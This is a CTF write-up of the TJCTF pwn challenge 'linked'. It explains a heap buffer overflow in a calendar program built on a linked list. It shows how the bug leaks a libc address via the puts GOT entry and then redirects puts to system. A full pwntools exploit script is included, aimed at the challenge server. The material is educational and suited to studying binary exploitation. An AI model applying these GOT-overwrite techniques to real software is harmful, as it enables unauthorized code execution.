buddurid@CTF:~$ 

TJCTF | linked , PWN challenge writeup

Categories: pwn linked-list GOT-table libc fuck-regex

explanation and thought process for solving the last pwn challenge 'linked' . I played with WorldWideFlags and we got πŸ₯‰ 3rd place . I also used to hate regex now i hate it even more .


EDIT : this writeup later won the best writeup award .

reading source code :

we were provided source code for this challenge , let’s analyse it’s main components :

  • main function
int main() {
    char inputBuffer[256] = {'\0'};
    struct eventList events;
    events.head = malloc(sizeof(struct event));
    events.head->next = NULL;
    events.head->time = 0;
    events.size = 1;

    setbuf(stdout, NULL);

    for (int i = 0; i < 2; i++) {
        puts("Add an event to your calendar:");

        struct event *cur = events.head;
        while (cur->next != NULL) {
            cur = cur->next;
        }
        cur->next = malloc(sizeof(struct event));
        cur->next->next = NULL;
        cur->next->time = 0;
        events.size++;

        printf("Event time? (1-24) ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        int t = atoi(inputBuffer);
        if (t == 0) {
            free(cur->next);
            cur->next = NULL;
            events.size--;
            printf("Invalid integer: %s\n", inputBuffer);
            continue;
        }
        cur->time = t;

        printf("Event name? ");
        fgets(inputBuffer, sizeof(inputBuffer), stdin);
        inpcpy(cur->name, inputBuffer);

        displayEvents(&events);
    }

    puts("2 events and still couldn't get the flag?");
    puts("smhmh");
    puts("just run like...");
    puts("cat flag.txt");
    puts("or something like that");
    return 0;
}

looks like we’re going in a loop that has 2 iterations , in each iteration we’re gonna

  1. allocate a struct of type event
  2. fill this event object elements , maybe directly from our input or by using the incpy function
  3. display the event objects created previously again this is just a speculation so lets dive into the rest of the code
  • event struct and head :
struct event {
    int time;
    char name[128];
    struct event *next;
};

struct eventList {
    int size;
    struct event *head;
};
  1. our event struct looks like a typical singly linked list data structure , with int time and string name as it’s elements , and next being a pointer to the next event object in the list
  2. eventList is also a typical linked list head , storing the number of the linked list nodes (also called objects) and the head node .
  • incpy():
void inpcpy(char *dst, char *src) {
    int ind = 0;
    while (src[ind] != '\n') {
        dst[ind] = src[ind];
        ind++;
    }
}

this function is a simple copy until you receive a newline , very sussy and dangerous function that doesnt take into its parameters any hint about how many bytes you should copy from src to dst , so this will most probably result in a BOF .

  • displayEvents()
void displayEvents(struct eventList *events) {
    puts("Calendar events:");

    struct event *cur = events->head;
    for (int i = 0; i < events->size; i++) {
        if (cur->time == 0) {
            break;
        }
        printf("%u:00 - %s\n", cur->time, cur->name);
        cur = cur->next;
    }
    printf("\n\n");
}

this function prints the time (int) and the name (string) of each event object in our linked list .

understanding source code :

now that we have somewhat of an idea about the source code , lets reread the main function to understand each line of it .

  1. before the loop (usually setup) , we declare a head for our linked list in the variable events , and we immediatly allocate a node (event object) and we assign the head of the linked list to it
  2. what happens in each iteration of the loop ?
    1. we go to last element in the linked list by navugating the next pointer until we reach an object where ``next==null` , in other words no next element
    struct event *cur = events.head;
        while (cur->next != NULL) {
            cur = cur->next;
        }
    
    
    1. we allocate a new node and set it to the last node , so the node we’ll be interacting with will be the one allocated in setup for the first iteration , and the one allocated in first iteration for the second iteration
    2. read a valid time integer into it , otherwise it skips this iteration
    3. then we read a name into this stack variable char inputBuffer[256] with the its correct size byu using sizeof(inputBuffer) . this means there is no overflow right ? right this moment i asked myself these 2 questions .
      • our input isn’t directly read into our allocated node , its read into a stack variable . so there must a copy function used to later copy our input read from this stack variable to our node . looking a little bit further , turns out to be the incpy function
      • is the size read (in our case 256) the same as the true size of the name string of our node allocated ? looking at char name[128]; in the struct definition immediatly answers our suspicion . and the answer is no , it’s much smaller than i thought (thats what she said) .
      • so combining our 2 questions and their answers , we get this conclusion .

    we are reading a 256 byte string then we gonna copy that string into a 128 byte string until we encounter a newlineΒ Β»> OVERFLOW

    hacker
  3. the last part after was just some random messages printed with puts . BUT this looks very suspicous
    puts("cat flag.txt");
    

    if you’ve wasted enough time from your life on pwn , you’d probably noticed that this might be a time saviour , as overwriting the puts GOT entry with system would be GG , and we wont need the casual system(β€œ/bin/sh”) that would require more setup and work . we will try to go for this approach , if you have no idea about got hijacking , these are for you link1 link2 .

strategy and exploitation :

so we got our buffer overflow in the name variable , what can we do with it ? notice first that our file has PIE off

$ checksec --file=main
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

this means that we know the addresses of the executable . so our plan is this

  • get libc leak , so that way we can calculate addr of system
  • overwrite Puts GOT entry with system .
  • when puts("cat flag.txt"); gets called , what gets executed is this system("cat flag.txt");

what you need to remember :

  • we have two iteration in our for loop so we’ll try to do each step in an iteration
  • we have a function that displays names from nodes
  • we know the GOT entry addresses of all functions as PIE is off

small note : the program always allocates a blank node in our linked list , so the node we’ll be reading into , isnt the last one but the one before , so the layout in memory will be something similar

β€”β€”β€”β€”β€”β€”β€”β€”-the node we’re reading intoβ€”β€”β€”β€”β€”β€”-

β€”β€”β€”β€”β€”β€”- time: int

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- next1 : pointer

β€”β€”β€”β€”β€”β€”β€”β€”-blank node β€”β€”β€”β€”β€”β€”-

β€”β€”β€”β€”β€”β€”- time: int

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- name : string

β€”β€”β€”β€”β€”β€”- next2 : pointer

what are the good targets that we can overwrite using this bof ? :

  • name of the blank node ? useless . no
  • next2 ? good start but no
  • heap metadata ? we dont have much control over the program so most probably no
  • next1 ? took some time but yeah . why ? suppose we overwrite it with address X . X will be the last node of the linked list instead of that blank node . and it’s contents will be printed , the first 4 bytes as int ("%d") and the next bytes as string ("%s") , why in normal case wasnt that blank node printed ? in fact it was trying to be printed , but as its time is 0 , it fails on this check

    if (cur->time == 0) {
            break;
        }
    

this gives us a very good read primitive , imagine X =&GOT_Puts -4 , then the name attribue will be &GOT_puts and it will print the &Puts from libc . this would be clean but look at this

img

time would be the second half of GOT_free which is zero because the function was never called yet , so its address was still a plt entry .

so our approach should be X =&GOT_Puts , have the first bytes be leaked as int , and second half as raw bytes

img

this would also grant us arbitrary write on this chunk , given what i explained in understanding source code , in the next iteration , the chunk we’ll be dealing with is the latest chunk , in other words X .

so again we write its first 4 bytes as int (in time attribute) , and the latter 4 bytes as string (in name attribute)

solver :

from pwn import *
from time import sleep
context.arch = 'amd64'

def debug():
        if local<2:
                gdb.attach(p,'''
                        ''')
###############   files setup   ###############
local=len(sys.argv)
exe=ELF("./main_patched")
libc=ELF("./libc.so.6")
nc="nc tjc.tf 31509"
port=int(nc.split(" ")[2])
host=nc.split(" ")[1]

############### remote or local ###############
if local>1:
        p=remote(host,port)
else:
        p=process([exe.path])

############### helper functions ##############
def send():
        pass

############### main exploit    ###############
p.recvuntil("Event time? (1-24)")
p.sendline("1")
debug()
p.recvuntil("Event name? ")
p.sendline(b"a"*0x84+p64(exe.got.puts))
p.recvuntil(b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x08@@\n")
libc.address=int(p.recvuntil(b":")[:-1])
p.recvuntil(b"- ")
libc.address=libc.address | (u16(p.recv(2))<<32)
libc.address-=0x87be0
log.info(hex(libc.address))

p.recvuntil("Event time? (1-24)")
p.sendline(str(libc.symbols.system&0xffffffff))
p.recvuntil("Event name? ")
p.sendline(p32(libc.symbols.system>>32))

p.interactive()

thanks for sticking out this long , hope you liked this scuffed writeup and see you on the rift .

tjctf{i_h0pe_my_tre3s_ar3nt_b4d_too}

If regex has a million haters I’m one of them. If it has one hater it’s me. If it has 0 haters I have died. If the world is against regex I am with the world, if the world is for regex I am against the world.